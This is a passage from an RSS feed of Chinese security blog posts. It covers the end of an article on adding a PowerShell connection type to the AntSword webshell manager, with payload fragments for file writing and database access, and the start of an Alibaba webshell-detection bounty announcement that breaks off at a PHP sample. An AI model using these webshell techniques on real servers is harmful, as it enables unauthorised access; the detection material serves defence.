style="box-sizing: border-box;margin: 0px;padding: 0px;">[System.IO.File]::WriteAllBytes(&#39;#{path}&#39;,$C);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;margin: 0px;padding: 0px;">return &#39;1&#39;;</span></code></pre></section><p><br/></p><p style="text-align: left;"><span style="font-size: 14px;">直接调用 System.IO.File 的静态方法 WriteAllBytes 以二进制方式写入文件</span></p><p style="text-align: center;margin-bottom: 0em;"><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1" data-s="300,640" style="" data-type="jpeg" data-w="48" src="https://wechat2rss.xlab.app/img-proxy/?k=924af117&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy060lXtb8YklejbUq0pljIEibBNv4ymNEficY0hrp4M7ZDfLI7CkfRyjeMKzWZV79URWOicIrD7viaGCw%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p style="text-align: left;"><span style="font-size: 14px;">嗯，静态方法好是好，可是也不够丰富呀。于是 New-Object 这个方法让我看到了。这玩意儿是真好使，举个例子:</span><br/></p><p style="text-align: left;"><span style="font-size: 14px;"><br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang=""><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;margin: 0px;padding: 0px;">// PowerShell</span></code><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;margin: 0px;padding: 0px;">$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;margin: 0px;padding: 0px;">// C#</span></code><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;margin: 0px;padding: 0px;">System.Data.Odbc.OdbcConnection conn = new System.Data.Odbc.OdbcConnection(connstr);</span></code></pre></section><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 14px;">看出来区别了吗？</span><span style="font-size: 14px;color: rgb(255, 76, 65);">基本没啥区别</span><span style="font-size: 14px;">。这样就可以直接把 ASPXCsharp 类型中的 Payload 改改，然后一个新的连接类型 PSWindows 就这么诞生了。</span><br/></p><p style="text-align: left;"><br/></p><p style="text-align: left;">说点需要注意的地方</p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 15px;"><strong><span style="font-size: 15px;color: rgb(255, 76, 65);">1. 文件下载只能下载文本类的文件</span></strong></span><br/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 14px;">因为 cmd 类的 WebShell 在使用 Download 的时候，原理是先将文件输出到 stdout 然后再到 response 之后到 AntSword。目前的 Download 请求是直接怼的二进制流，所以在传输的时候是没有经过编码/加密转换的。<br/></span></p><p style="text-align: left;"><span style="font-size: 14px;"><br/></span></p><p style="text-align: left;"><span style="font-size: 14px;">于是问题来了，PowerShell 的 Stdout 它</span><strong><span style="font-size: 14px;color: rgb(255, 76, 65);">不能显示扩展 ASCII 码表的字符</span></strong><span style="font-size: 14px;">。什么意思?比如说一张图片的文件头是 </span><span style="font-size: 14px;color: rgb(255, 76, 65);">ff d8 ff e0 00 10 4a 46</span><span style="font-size: 14px;"> , 输出到 PowerShell 的 Stdout 后就成了 </span><span style="font-size: 14px;color: rgb(255, 76, 65);">ff 3f 3f 10 4a 46 49 46</span></p><p style="text-align: left;"><br/></p><p style="text-align: left;">结论: 不在 ASCII 可显示范围内的字符都会给你整成 3F，难受。所以目前的 Download 机制下，下载二进制文件时会不正常。这块后期考虑更改 download 机制来解决。<br/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="color: rgb(255, 76, 65);"><strong><span style="color: rgb(255, 76, 65);font-size: 15px;">2. 关于文件权限</span></strong></span><br/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 14px;">文件权限不再是以我们熟知的 0777 这样的八进制数来表示了，而是用 darhs 这五个组合来表示，具体看微软文档中的表示:</span><br/></p><p style="text-align: left;"><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.157488986784141" data-s="300,640" style="" data-type="png" data-w="908" src="https://wechat2rss.xlab.app/img-proxy/?k=1e55773a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy10D6vibEjw3ahsNgqTfVBDxhXuzseXEkSxBJaiaiaCibaVbMleibnfzW7YkYL0K0Mfib1PaR9OmKbpOiapw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><strong><span style="font-size: 14px;color: rgb(255, 76, 65);">而目前仅支持 rhs 这三个属性的修改</span></strong><span style="font-size: 14px;">，当然了，你要想改更多的属性你自己写 powershell 命令去</span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 15px;color: rgb(255, 76, 65);">3. 有关视频当中查询数据库出现的类型转换问题</span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 14px;">我后面再抽时间看看怎么整，我现在用的是 GetString方法，没来得及研究那么多。另外像 insert/update/delete 这些语句也是支持的，视频当中没演示，自已去测试环境里试吧。</span></p><p style="text-align: left;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;"><span style="font-size: 16px;">写在最后</span></strong><br/></p><p><br/></p><p style="text-align: left;"><span style="font-size: 14px;">PowerShell 封杀那么严重，实战中有没有用？嗯，不知道，自行解决，我只是学习用。</span><br/></p><p style="text-align: left;"><span style="font-size: 14px;"><br/></span></p><p style="text-align: left;"><span style="font-size: 14px;">CMD类的连接，这玩意儿的意义在哪里？嗯，直连RCE漏洞，没有语言的限制 Python/Go/Balabala...，无文件落地，比如像...就不比如了。</span></p><p style="text-align: left;"><br/></p><p style="text-align: center;"><span style="font-size: 14px;">就这样吧，Byebye~</span><br/></p><p style="text-align: left;"><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></p><hr style="white-space: normal;border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px;transform: scale(1, 0.5);"/><p style="white-space: normal;text-align: center;"><br/></p><p style="white-space: normal;text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-copyright="0" data-ratio="1" data-s="300,640" style="height: 198px;width: 198px;" data-type="jpeg" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=a606fcfb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy3kYxrKTnbxKyJeZhmfzqjkiaA1gWNNFdGMgnpWbicm1mzDFq0Sicfzv5HPHqRlyuDDeUHTE8QJpm9FQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="white-space: normal;text-align: center;"><span style="font-size: 12px;color: rgb(136, 136, 136);">不如关注一波再走？</span></p><p><br/></p><p><br/></p>



<p><a href="https://www.bilibili.com/video/BV1TW4y1r7T7/?vd_source=d68149278d9186759f520a24b4de2e8d">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c4a10f63&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484525%26idx%3D1%26sn%3D065cfe093785a05cefbc90e3ba1993c3%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 22 Jun 2022 00:00:00 +0800</pubDate>
    </item>
    <item>
      <title>“伏魔”赏金 ｜ WebShell检测之「模拟污点引擎」首次公测，邀你来战！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484495&amp;idx=1&amp;sn=5acee617d56b9f502b0e64122b4f3c17</link>
      <description>安全是一个动态的过程，攻防对抗如同在赛博世界里降妖伏魔，其要义是：取彼之长，补己之短。——伏魔引擎的诞生</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2022-01-14 18:45</span> <span style="display: inline-block;"></span>
</p>

<p>安全是一个动态的过程，攻防对抗如同在赛博世界里降妖伏魔，其要义是：取彼之长，补己之短。——伏魔引擎的诞生</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=61d55009&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy1ibYVqSbrVicUib4JCqt6wP8DRXIxjvKbFSSocghXV0MlmFRO9PqAfJR1n7EF1WibtfBsTHauh1E6I4A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<blockquote class="js_blockquote_wrap" data-type="1" data-url="https://mp.weixin.qq.com/s/2mRhN6As4od9ZeYK7pwwOw" data-author-name="" data-content-utf8-length="15" data-source-title="“伏魔”赏金 ｜ WebShell检测之「模拟污点引擎」首次公测，邀你来战！"><section class="js_blockquote_digest"><p>本文转发自“阿里安全响应中心”</p></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22inner%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%3Cp%3E%E6%9C%AC%E6%96%87%E8%BD%AC%E5%8F%91%E8%87%AA%E2%80%9C%E9%98%BF%E9%87%8C%E5%AE%89%E5%85%A8%E5%93%8D%E5%BA%94%E4%B8%AD%E5%BF%83%E2%80%9D%3C%2Fp%3E%22%2C%22digestLen%22%3A15%2C%22text%22%3A%22%22%2C%22article%22%3A%7B%22title%22%3A%22%E2%80%9C%E4%BC%8F%E9%AD%94%E2%80%9D%E8%B5%8F%E9%87%91%20%EF%BD%9C%20WebShell%E6%A3%80%E6%B5%8B%E4%B9%8B%E3%80%8C%E6%A8%A1%E6%8B%9F%E6%B1%A1%E7%82%B9%E5%BC%95%E6%93%8E%E3%80%8D%E9%A6%96%E6%AC%A1%E5%85%AC%E6%B5%8B%EF%BC%8C%E9%82%80%E4%BD%A0%E6%9D%A5%E6%88%98%EF%BC%81%22%2C%22url%22%3A%22https%3A%2F%2Fmp.weixin.qq.com%2Fs%2F2mRhN6As4od9ZeYK7pwwOw%22%2C%22nickname%22%3A%22%E9%98%BF%E9%87%8C%E5%AE%89%E5%85%A8%E5%93%8D%E5%BA%94%E4%B8%AD%E5%BF%83%22%2C%22authorName%22%3A%22%22%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2275%22%2C%22len%22%3A1%7D%2C%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2276%22%2C%22len%22%3A1%7D%5D%7D"><span class="blockquote_biz">公众号：阿里安全响应中心<a href="https://mp.weixin.qq.com/s/2mRhN6As4od9ZeYK7pwwOw" class="blockquote_article">“伏魔”赏金 ｜ WebShell检测之「模拟污点引擎」首次公测，邀你来战！</a></span></section></blockquote><p><br/></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);border-width: initial;border-style: none;border-color: initial;font-size: 16px;font-family: 宋体;color: rgb(68, 114, 196);font-style: italic;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">安全是一个动态的过程，攻防对抗如同在赛博世界里降妖伏魔，其要义是：取彼之长，补己之短。</span><br/></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: right;border-width: initial;border-style: none;border-color: initial;font-size: 16px;font-family: 宋体;color: rgb(68, 114, 196);font-style: italic;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">——伏魔引擎的诞生</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></p><p style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5807291666666666" data-s="300,640" style="outline: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;" data-type="png" data-w="768" src="https://wechat2rss.xlab.app/img-proxy/?k=ee37aeec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtCS9QJPdcGfiaQNdBIyJMTMRyENZXC5ibt2cSRthwYTXzvZYv221z4kadEbricuuG8FeTDib8S2FRcc07Ax1CWXvRw%2F640%3Fwx_fmt%3Dpng"/></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></span></p><h3 style="margin-bottom: 5px;outline: 0px;font-size: 18px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">伏魔引擎挑战赛</span></strong></span></h3><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">注册地时间: 2022.01.10 00:00:00 - 2022.01.24 10:00:00(UTC +8)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;background-clip: padding-box;caret-color: rgb(23, 26, 29);color: rgb(23, 26, 29);font-family: -apple-system, BlinkMacSystemFont, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Segoe UI&#34;, system-ui, Roboto, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 14px;white-space: pre-wrap;text-size-adjust: auto;overflow-wrap: break-word !important;"/>比赛时间: 2022.01.17 10:00:00 - 2022.01.24 10:00:00(UTC +8)<br style="outline: 0px;max-width: 100%;box-sizing: border-box;background-clip: padding-box;caret-color: rgb(23, 26, 29);color: rgb(23, 26, 29);font-family: -apple-system, BlinkMacSystemFont, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Segoe UI&#34;, system-ui, Roboto, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 14px;white-space: pre-wrap;text-size-adjust: auto;overflow-wrap: break-word !important;"/>主办方:   薪火实验室 &amp;<span style="outline: 0px;max-width: 100%;"> </span><span style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">云安全中心<span style="outline: 0px;max-width: 100%;"> &amp;</span> <span style="outline: 0px;max-width: 100%;">ASRC</span></span></span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">比赛奖金：1000 RMB/份有效报告（中国区用户）、150 USD/份有效报告（面向海外用户），赛事组在中场会视赛事情况提升奖金额度。<br style="outline: 0px;max-width: 100%;box-sizing: border-box;background-clip: padding-box;caret-color: rgb(23, 26, 29);color: rgb(23, 26, 29);font-family: -apple-system, BlinkMacSystemFont, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Segoe UI&#34;, system-ui, Roboto, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 14px;white-space: pre-wrap;text-size-adjust: auto;overflow-wrap: break-word !important;"/>面向群体：国内、国外白帽群体<br style="outline: 0px;max-width: 100%;box-sizing: border-box;background-clip: padding-box;caret-color: rgb(23, 26, 29);color: rgb(23, 26, 29);font-family: -apple-system, BlinkMacSystemFont, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Segoe UI&#34;, system-ui, Roboto, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 14px;white-space: pre-wrap;text-size-adjust: auto;overflow-wrap: break-word !important;"/>活动网址：</span><span style="outline: none;max-width: 100%;box-sizing: border-box;background-clip: padding-box;color: var(--common_blue1_color,#0089ff);cursor: pointer;transition: color 0.3s ease 0s;font-family: -apple-system, BlinkMacSystemFont, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Segoe UI&#34;, system-ui, Roboto, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;white-space: pre-wrap;text-size-adjust: auto;overflow-wrap: break-word !important;"><a href="https://security.alibaba.com/online/detail?type=1&amp;id=114&amp;tab=1" target="_blank">https://security.alibaba.com/online/detail?type=1&amp;id=114&amp;tab=1</a></span></span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;color: rgb(136, 136, 136);font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">点击文末“阅读原文”直达</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">公测背景：</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">伏魔引擎挑战赛是阿里云安全“宙斯计划——恶意文本检测挑战赛”的延续，整合了宙斯计划近4次公测活动中，2000+安全专家和白帽子们贡献的对抗样本。</span><br style="outline: 0px;max-width: 100%;box-sizing: border-box;background-clip: padding-box;caret-color: rgb(23, 26, 29);color: rgb(23, 26, 29);font-family: -apple-system, BlinkMacSystemFont, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Segoe UI&#34;, system-ui, Roboto, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 14px;text-align: left;white-space: pre-wrap;text-size-adjust: auto;overflow-wrap: break-word !important;"/><span style="outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">作为Webshell检测的集大成者，伏魔(fomo)引擎集静态检测+AI检测+动态沙箱执行检测等多种综合手段为一体，加之锤炼已近2年，新开放公测的模拟污点执行引擎，给挑战者以更高的赏金、更丰富的靶场、更大的舞台，让更多安全专家齐聚一堂探索Webshell攻防领域高峰。<br style="outline: 0px;max-width: 100%;box-sizing: border-box;background-clip: padding-box;caret-color: rgb(23, 26, 29);color: rgb(23, 26, 29);font-family: -apple-system, BlinkMacSystemFont, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Segoe UI&#34;, system-ui, Roboto, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 14px;text-align: left;white-space: pre-wrap;text-size-adjust: auto;overflow-wrap: break-word !important;"/>本届活动，我们同时开通了国内和国外的提交通道，同时还邀请了长亭 RealWorld参赛选手。欢迎海内外白帽共襄盛会。</span></span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><h3 style="margin-bottom: 5px;outline: 0px;font-size: 18px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">模拟污点检测首度公测</span></strong></span></h3><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">在打磨检测引擎的过程中，我们逐渐意识到传统静态检测和动态检测的困境。基于上千种不同类型的对抗样本，我们打磨出模拟污点执行引擎，它既可以有效应对高级对抗手法，又能有效降低误报率。</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">要想理解什么是模拟污点执行检测，需要先了解两个概念。解释性脚本语言的执行过程和污点传播检测原理。</span></p><ul class="list-paddingleft-2" style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><li style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;text-decoration: underline;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;line-height: 17.7333px;font-family: 仿宋;">PHP</span><span style="outline: 0px;max-width: 100%;line-height: 17.7333px;font-family: 仿宋;">执行过程</span></span></strong></span></p></li></ul><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">以PHP为例，脚本语言执行的过程如下：</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="0.24768518518518517" data-s="300,640" style="outline: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;" data-type="png" data-w="864" src="https://wechat2rss.xlab.app/img-proxy/?k=6413c283&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtCS9QJPdcGfiaQNdBIyJMTMRyENZXC5ibtNf4kHQ0E0GO4Y7tuia82DYuvQKWCtGBwZibsJ4e8iaianc827ia3jjJGLOA%2F640%3Fwx_fmt%3Dpng"/></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;"> <br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">PHP源代码会经过词法、语法的分析形成抽象语法树(AST)，然后解析AST，生成opcodes，最后依次执行opcodes。在这个过程中，所有的源代码都会生成AST。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;?php</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">$fa = new SplFixedArray($_GET[&#34;num&#34;]);</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, 